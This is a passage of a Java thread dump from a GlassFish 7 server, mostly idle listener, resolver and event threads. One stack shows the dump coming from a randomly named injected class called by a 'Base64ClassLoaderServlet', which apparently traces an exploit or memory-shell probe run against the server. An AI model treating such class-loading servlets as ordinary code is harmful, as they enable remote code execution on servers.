java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1-kernel(1) SelectorRunner" #50 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #5" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #9" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"admin-listener(2)" #60 daemon [WAITING] on java.lang.Object@24a694bb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI GC Daemon" #93 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@b9fcbeb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.rmi@17.0.2/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"FelixResolver-11" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2(3)" #54 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@699c0426 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.2/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.2/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"FelixResolver-8" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-7" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"admin-listener(1)" #59 daemon [WAITING] on java.lang.Object@24a694bb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"CM Configuration Updater" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ee4d345 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI Reaper" #92 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e9d54fc + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@17.0.2/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"pool-5-thread-1" #82 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@47078cd6 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"DynamicReloader" #84 daemon [TIMED_WAITING] on java.util.TaskQueue@3d23f012 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.2/java.util.TimerThread.run(Timer.java:516) + +"fileinstall-/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/bundles/" #105 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"FelixResolver-9" #29 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RunLevelControllerThread-1754837844262" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@787876b5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #7" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2(1)" #52 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@699c0426 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI RenewClean-[192.168.215.4:8686]" #102 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@72c256cc + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@17.0.2/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1(3)" #46 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5b97f1f8 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1(4)" #47 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.2/java.lang.Thread.getAllStackTraces(Thread.java:1662) + at org.springframework.yxlXK.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.2/java.lang.String.valueOf(String.java:4215) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:265) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1368) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:302) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:172) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:214) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:172) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:563) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:504) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:71) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:121) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:293) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:186) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:429) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:143) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #8" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1(2)" #45 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5b97f1f8 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #4" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"pool-4-thread-1" #81 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@47078cd6 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at 